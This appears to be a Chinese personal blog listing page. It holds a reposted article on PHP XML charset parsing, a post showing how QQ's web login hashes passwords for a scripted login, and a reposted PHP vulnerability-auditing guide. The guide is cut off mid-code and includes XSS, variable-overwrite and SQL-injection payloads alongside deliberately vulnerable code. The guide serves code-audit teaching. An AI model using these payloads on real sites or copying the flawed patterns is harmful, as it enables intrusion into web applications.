忆风居

忆风的地盘,一些日常的记忆,技术文摘,以及收集的一些文章。
  • 首页
  • 登入
  • 标签
  • 留言
  • 边栏
  • 链接
  • 归档
  • 星标日志
分页: 10/36 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]

PHP, XML, and Character Encodings: a tale of sadness, rage, and (data-)loss/xml解析错误 input conversion failed due to input error

2010/02/03 1 Comments

Update: This code has been finalized and debugged, and is now shipped as part of MagpieRSS 0.7! Sadness and rage no more!

So I have this little program, called Feed on Feeds. It’s an RSS and Atom aggregator. For a long time I’ve known that it doesn’t quite handle international characters that well, so I set out to fix it. I knew that somewhere between input feed and output HTML page, characters were getting messed up. I adopted a policy of “UTF-8 Everywhere”: since FoF has to deal with feeds in lots of different charsets, but display them all on one page, I’d translate everything into UTF-8. I UTF-ized everything in the display code, and made sure that the DB wasn’t mucking with the characters, finally closing in on the place where it seemed characters were being munged: the XML parser itself, called by MagpieRSS, the RSS and Atom parser used by FoF.

Here’s how Magpie was creating the XML parser:

$parser = xml_parser_create();

Nice! Simple! But it munges characters, especially numeric entities. After reading some PHP docs, I found that there are two things you can set in PHP’s XML parser: the source encoding, and the target encoding. You can set the target encoding this way:

$parser = xml_parser_create();
xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");

This means: “Whatever charset the XML is in, I want you to translate it into UTF-8. And if you happen to find any numeric entities in there, resolve them into UTF-8 characters, too.”

So I tried that. But it still wasn’t working. Some feeds were translated into UTF-8 properly, but others weren’t. Feeds already in UTF-8 were re-encoded, resulting in gibberish. Reading some more documentation and bug reports, I found that if you don’t set the source encoding, PHP assumes your XML is in ISO-8859-1! I was amazed that PHP’s XML parser didn’t examine the XML prolog to determine the encoding, and further shocked that they chose such an insane default. But anyway. You can set both source and target encodings this way:

$parser = xml_parser_create("EBCIDIC");
xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");

This means, “I’m about to give you some XML, in EBCIDIC. I want you to translate all those characters into UTF-8 while you’re parsing it. Don’t forget to turn any numeric entities you find into UTF-8, too.”

That works… but presents a problem. How do you know the charset the XML is in? The only answer I could come up with: scan the XML myself, and find the encoding!

$rx = '/<?xml.*encoding=['"](.*?)['"].*?>/m';

if (preg_match($rx, $xml, $m)) {
  $encoding = strtoupper($m[1]);
} else {
  $encoding = "UTF-8";
}

That regex finds the charset declaration in the XML prolog itself, and if found, saves it in the variable $encoding. If it wasn’t found, it assumes the XML is in UTF-8 already, which is the default for XML.

So the full code is now:

$rx = '/<?xml.*encoding=['"](.*?)['"].*?>/m';

if (preg_match($rx, $xml, $m)) {
  $encoding = strtoupper($m[1]);
} else {
  $encoding = "UTF-8";
}

$parser = xml_parser_create($encoding);
xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");

That, finally, worked. All my feeds were reliably translated into UTF-8. But that was just by coincidence. All the feeds I subscribe to were already in UTF-8 or ISO-8859-1. After making this release, people complained that feeds in ISO-8859-15 and BIG-5 weren’t working. Consulting the PHP docs again, and double checking in the source code because it was just so surprising I found that PHP 4.x only supports UTF-8, ISO-8859-1, and US-ASCII. So anybody out there who wants to subscribe to a feed in ISO-8859-anything-but-1 or BIG5 of SHIFT-JIS is still screwed.

Even PHP 5 won’t help here, when it is released: It sort-of supports a longer list of encodings, but not BIG5 or GB2312, the two main Chinese encodings.

So I searched the PHP docs some more, and came up with a potential solution: mbstring! The mbstring family of functions supports a huge long list of encodings, and can translate between them. So here’s the final solution: use a regex to find the source encoding. If PHP can handle it natively, fine. If not, lop off the XML prolog, replace it with one that says encoding="utf-8" and pass the whole XML file through mb_convert_encoding to convert it to UTF-8 before the parser even sees it. If mb_convert_encoding blows up (which it will if the source encoding is not recognized, or if the function completely doesn’t exist, which I’m told is highly probable, since it is an optional extension) just give up and pass the XML straight to the parser and avert your eyes as it makes mincemeat of the characters. At least I tried.

$rx = '/<?xml.*encoding=['"](.*?)['"].*?>/m';

if (preg_match($rx, $source, $m)) {
  $encoding = strtoupper($m[1]);
} else {
  $encoding = "UTF-8";
}

if($encoding == "UTF-8" || $encoding == "US-ASCII" || $encoding == "ISO-8859-1") {
  $parser = xml_parser_create($encoding);
} else {

  if(function_exists('mb_convert_encoding')) {
    $encoded_source = @mb_convert_encoding($source, "UTF-8", $encoding);
  }

  if($encoded_source != NULL) {
    $source = str_replace ( $m[0],'<?xml version="1.0" encoding="utf-8"?>', $encoded_source);
  }

  $parser = xml_parser_create("UTF-8");
}

xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");

Surprisingly, this hack on top of a hack wrapped up in a hack with extra hack on top… worked! It was able to parse ISO-8859-15, BIG-5, even GB2312 feeds just fine, and translate them all into UTF-8 for display on a single page. I have these changes in my local copy of FoF now, and I’m going to let them burn in for a few days before I release them to the wider world, who will probably point out, within minutes, the multiple and tragic ways that even this solution fails. But until then, I proclaim that this is the state of the art in PHP XML charset-aware parsing. I think this is as good as it gets in PHP 4.x.


Footnote: when I say PHP5 sort-of supports more encodings, this is what I mean: PHP5 (I looked at RC3, maybe these bugs will be fixed by the final release) is completely nuts. The XML parser supports a bunch more encodings, but they are really hard to get to. If you try to explicitly set the input encoding, the PHP code limits you to UTF-8, ISO-8859-1, or US-ASCII, even though libxml2, the underlying parser, supports many more. But, if you know the super secret codes, you can construct the parser this way:

$parser = xml_parser_create("");

Notice the difference? In PHP5 bizarro world, passing in an empty string means “do what you should have done all along, auto detect the stupid encoding!” But, there’s another problem: if you auto-detect the stupid encoding this way, the stupid target encoding is stupidly set to ISO-8859-1. I don’t know who would want that. And it goes against the documentation, which says by default the target encoding is set to the source encoding. And again, you are restricted artifically from setting the output encoding to anything other than UTF-8, ISO-8859-1, or US-ASCII. So you could, if you want, use a regex (yuck!) to find the source encoding, but you wouldn’t be allowed to set the target encoding to match. But, at least, you can do this:

$parser = xml_parser_create("");
xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");

Meaning, “Auto detect the source encoding, and then translate everything, including numeric entities, into UTF-8.”

At least you will be able to… when PHP5 comes out, and is installed on the server where your application needs to run, which for me (I get complaints that FoF won’t work on PHP 3) probably won’t be for several years.



附修改过的 xml.class.php:

下载文件 (已下载 44 次)
点击这里下载文件: xml.class.rar

Web 开发 xml解析错误
引用地址:
注意: 该地址仅在今日23:59:59之前有效

QQ网页登陆密码加密原理

2010/02/02 0 Comments

有很多想写农场的助手工具,同之前的我一样。但是又不知道怎么处理QQ的登陆问题,用别人的又不怎么放心,所以就想自己动手。但是很多没基础的又不知道怎么下手。所以……
 现在我就把密码的加密方式写出来,方便大家使用,自己用得更放心。
 
 1、QQ的加密用的文件,也就是MD5计算方式所在的文件。
 http://imgcache.qq.com/ptlogin/js/comm.js
 
2、把上面文件的内容导入 “JScript”中
 .版本 2
 .支持库 script
 脚本组件 = 脚本组件1
 脚本组件.语言 = “JScript”
 脚本组件.超时 = -1
 脚本组件.执行 (取字节集数据 (#JScript, #文本型, ))
 加密后的值 = 脚本组件.运行 (“md5_3”, PASSWORDS)
 加密后的值 = 脚本组件.运行 (“md5”, 加密后的值 + 到大写 (验证码值))
 提交信息合 = “u=” + UID + “&p=” + 加密后的值 + “&verifycode=” + 验证码值 + “&aid=15000102&u1=http%3A%2F%2Fxiaoyou.qq.com%2Findex.php%3Fmod%3Dlogin&fp=&h=1&ptredirect=1&ptlang=0&from_ui=1&dumy=”
 登陆返回信息 = UTF8转ANSI (http.访问网络 (“http://ptlogin2.qq.com/login”, “POST”, , , 提交信息合))
 
 .如果 (寻找文本 (登陆返回信息, “mod=login”, , 假) > 0)
   返回 (真) ‘登陆成功
 .否则
   返回 (假)

转至:http://hi.baidu.com/%C1%E8%D4%C6%D7%B7%B7%E7/blog/item /2964ccdc863036a9cd1166f6.html

var hexcase = 1;
var b64pad = "";
var chrsz = 8;
var mode = 32;
function preprocess(A){   //这里A是表格的数据
    var B = "";
    B += A.verifycode.value;   //这里是验证码的值
    B = B.toUpperCase();        //这里把验证码转换成大写字母
    A.p.value = md5(md5_3(A.p.value) + B);          

//然后把密码框的数据进行MD5加密 先把密码md5_3处理,然后和验证码一起MD5
    return true
}

//下面看看md5_3的内容

function md5_3(B){
    var A = new Array;                         //申请一个数组
    A = core_md5(str2binl(B), B.length * chrsz);       //我们看看str2binl发生了什么, B的长度乘以8

//str2binl函数压缩了前三位,然后对每个字母进行unicode转换,再移位,再看看core_md5是什么
    A = core_md5(A, 16 * chrsz);
    A = core_md5(A, 16 * chrsz);
    return binl2hex(A)
}

function md5(A){
    return hex_md5(A)
}

function hex_md5(A){
    return binl2hex(core_md5(str2binl(A), A.length * chrsz))
}

function b64_md5(A){
    return binl2b64(core_md5(str2binl(A), A.length * chrsz))
}

function str_md5(A){
    return binl2str(core_md5(str2binl(A), A.length * chrsz))
}

function hex_hmac_md5(A, B){
    return binl2hex(core_hmac_md5(A, B))
}

function b64_hmac_md5(A, B){
    return binl2b64(core_hmac_md5(A, B))
}

function str_hmac_md5(A, B){
    return binl2str(core_hmac_md5(A, B))
}

function md5_vm_test(){
    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"
}

function core_md5(K, F){
    K[F >> 5] |= 128 << ((F) % 32);
    K[(((F + 64) >>> 9) << 4) + 14] = F;
    var J = 1732584193;
    var I = -271733879;
    var H = -1732584194;
    var G = 271733878;
    for (var C = 0; C < K.length; C += 16) {
        var E = J;
        var D = I;
        var B = H;
        var A = G;
        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);
        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);
        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);
        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);
        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);
        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);
        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);
        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);
        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);
        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);
        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);
        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);
        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);
        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);
        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);
        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);
        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);
        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);
        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);
        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);
        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);
        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);
        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);
        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);
        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);
        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);
        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);
        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);
        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);
        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);
        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);
        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);
        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);
        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);
        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);
        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);
        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);
        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);
        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);
        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);
        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);
        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);
        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);
        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);
        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);
        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);

网络技术 qq , 密码加密
引用地址:
注意: 该地址仅在今日23:59:59之前有效

chrome 我装的扩展

2010/01/27 0 Comments

 听说chrome支持扩展了, 就装了一下我认为必须的扩展, 大家可以看看, 我装了个 ietab, 鼠标手势, firebug,web developer, chrome flug

看图说话






Windows 平台 chrome , extensions , 扩展 , 谷歌浏览器
引用地址:
注意: 该地址仅在今日23:59:59之前有效

好久没写博客了

2010/01/27 0 Comments
好久没写博客了,报告一下最近的情况

最近公司的事情比较多,年底了项目也一直在赶, 最近新做的项目也快测试的差不多了, 明年就能上线了,大家期待下。

上星期公司尾牙,我也喝了不少酒,那天晚上公司里有3-4人喝醉了,当然不包括我, 其实在我进公司第一年的尾牙也喝醉啦。惭愧惭愧。

这次不同了已经答应我老婆不能喝醉,哈哈。 公司尾牙吃的很开心,喝的也很开心。 和同事相处也很开心!

还有一件很重要的事情就是,我老婆快生了,估计就是在这10天内了! 有点紧张!
心情杂语 尾牙
引用地址:
注意: 该地址仅在今日23:59:59之前有效

高级PHP应用程序漏洞审核技术【转】

2010/01/07 0 Comments

                           ==Ph4nt0m Security Team==
 
                       Issue 0x03, Phile #0x06 of 0x07
 

|=---------------------------------------------------------------------------=|
|=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=----------------------=[    By www.80vul.com     ]=------------------------=|
|=------------------------=[   <www.80vul.com>   ]=--------------------------=|
|=---------------------------------------------------------------------------=|


[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
  5.1 变量本身的key
  5.2 变量覆盖
    5.2.1 遍历初始化变量
    5.2.2 parse_str()变量覆盖漏洞
    5.2.3 import_request_variables()变量覆盖漏洞
    5.2.4 PHP5 Globals
  5.3 magic_quotes_gpc与代码安全
    5.3.1 什么是magic_quotes_gpc
    5.3.2 哪些地方没有魔术引号的保护
    5.3.3 变量的编码与解码
    5.3.4 二次攻击
    5.3.5 魔术引号带来的新的安全问题
    5.3.6 变量key与魔术引号
  5.4 代码注射
    5.4.1 PHP中可能导致代码注射的函数
    5.4.2 变量函数与双引号
  5.5 PHP自身函数漏洞及缺陷
    5.5.1 PHP函数的溢出漏洞
    5.5.2 PHP函数的其他漏洞
    5.5.3 session_destroy()删除文件漏洞
    5.5.4 随机函数
  5.6 特殊字符
    5.6.1 截断
      5.6.1.1 include截断
      5.6.1.2 数据截断
      5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录


一、前言

    PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强
大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应
用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应
用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇
佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很
多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没
有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。

    另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在
这里需要感谢他们,:)


二、传统的代码审计技术

    WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用
必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得
MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输
入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致
很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

    PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致
安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜
索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的
字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

    其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用
程序代码的审核,但是这些也依靠了我们上面提到的字典。


三、PHP版本与应用代码审计

    到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68%
2000-2007,No security fixes after 2008/08,最终版本是php4.4.9

php5 32%
2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

php6
目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc。
(这个不是今天讨论的范围)

    由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。
这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。


四、其他的因素与应用代码审计

    很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素
有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营
win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同
的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

    所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,
PHP版本等信息。


五、扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

    说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的
程序把变量本身的key也当变量提取给函数处理。

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
 foreach ($_GET AS $key => $value)
{
 print $key."\n";
}
?>
-------------------------------------------------------------------------------

    上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

--code-------------------------------------------------------------------------
key.php?<script>alert(1);</script>=1&bbb=2
-------------------------------------------------------------------------------

    那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询
呢?:)

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.2 变量覆盖(variable-overwrite)

    很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指
定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

5.2.1 遍历初始化变量

请看如下代码:

--code-------------------------------------------------------------------------
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
 $$key = $value;
}
print $a;
?>
-------------------------------------------------------------------------------

    很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分
的代码:

--code-------------------------------------------------------------------------
$chs = '';
if($_POST && $charset != 'utf-8') {
 $chs = new Chinese('UTF-8', $charset);
 foreach($_POST as $key => $value) {
  $$key = $chs->Convert($value);
 }
 unset($chs);
-------------------------------------------------------------------------------
 
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.2.2 parse_str()变量覆盖漏洞(CVE-2007-3205)、mb_parse_str()

--code-------------------------------------------------------------------------
//var.php?var=new
$var = 'init';                    
parse_str($_SERVER['QUERY_STRING']);
print $var;
-------------------------------------------------------------------------------
 
    该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变
量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

--code-------------------------------------------------------------------------
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
-------------------------------------------------------------------------------

上面的代码通过提交$var来实现对$var1的覆盖。

+++++++++++++++++++++++++
漏洞审计策略(parse_str)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
+++++++++++++++++++++++++

+++++++++++++++++++++++++
漏洞审计策略(mb_parse_str)
-------------------------
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str
+++++++++++++++++++++++++


5.2.3 import_request_variables()变量覆盖漏洞(CVE-2007-1396)

--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略(import_request_variables)
-------------------------
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables
+++++++++++++++++++++++++


5.2.4 PHP5 Globals

    从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

--code-------------------------------------------------------------------------
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
-------------------------------------------------------------------------------

    但是很多的程序没有考虑到这点,请看如下代码:

--code-------------------------------------------------------------------------
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------

    如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf
攻击。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.3 magic_quotes_gpc与代码安全
 
5.3.1 什么是magic_quotes_gpc
 
    当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个
反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、
mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影
响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤
变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是
就在他们放弃的同时也放过很多致命的安全漏洞。 :)
 
5.3.2 哪些地方没有魔术引号的保护
   
1) $_SERVER变量

    PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞
猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

+++++++++++++++++++++++++
漏洞审计策略($_SERVER变量)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER
+++++++++++++++++++++++++


2) getenv()得到的变量(使用类似$_SERVER变量)
  
+++++++++++++++++++++++++
漏洞审计策略(getenv())
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv
+++++++++++++++++++++++++


3) $HTTP_RAW_POST_DATA与PHP输入、输出流

    主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
 $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
 $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------
        
+++++++++++++++++++++++++
漏洞审计策略(数据流)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++


4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by
    
    如Discuz!<5.0的pm.php:
    
--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
 $msgto = array_merge($msgtobuddys, array($msgtoid));
  ......
foreach($msgto as $uid) {
 $uids .= $comma.$uid;
 $comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
 LEFT JOIN {$tablepre}memberfields mf USING(uid)
 WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)
+++++++++++++++++++++++++


5.3.3 变量的编码与解码

    一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中
就悄悄的绕过你的过滤的安全防线。

    这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
 ......
(另外一个 unserialize/serialize)

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
     
    目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
-------------------------------------------------------------------------------

    当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid='''
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数
+++++++++++++++++++++++++


5.3.4 二次攻击(详细见附录[1])

1) 数据库出来的变量没有进行过滤

2) 数据库的转义符号:

  * mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数
据库时,通过转义变为')

  * mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符
串直接处理,所以魔术引号对于mssql的注射没有任何意义)
   
    从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击
我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代
码看成一个vul?

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


5.3.5 魔术引号带来的新的安全问题

    首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

    这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是
目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1) 得到原字符(',\,",null])

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 1);

//提交                 '
//魔术引号处理         \'
//substr               '

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
   " shipping_time, shipping_id, invoice_no, user_id ".
   " FROM " . $ecs->table('order_info').
   " WHERE order_sn = '$order_sn' LIMIT 1";
-------------------------------------------------------------------------------

2) 得到“\”字符

--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 0,1);

//提交                 '
//魔术引号处理         \'
//substr               \   

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
   " shipping_time, shipping_id, invoice_no, user_id ".
   " FROM " . $ecs->table('order_info').
   " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
-------------------------------------------------------------------------------
  
    提交内容:

--code-------------------------------------------------------------------------
?order_sn='&order_tn=%20and%201=1/*
-------------------------------------------------------------------------------

    执行的SQL语句为:

--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码
+++++++++++++++++++++++++


5.3.6 变量key与魔术引号
   
    我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
 foreach ($_GET AS $key => $value)
        {
        print $key."\n";
        }
?>
-------------------------------------------------------------------------------

1) 当magic_quotes_gpc = On时,在php5.24下测试显示:
 
aaaa\'aaa
bb\'b

    从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。
但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
-------------------------------------------------------------------------------

    结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )  

    数组第一维变量的key不受魔术引号的影响。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++


2) 当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

    对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过
addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

--code-------------------------------------------------------------------------
<?php
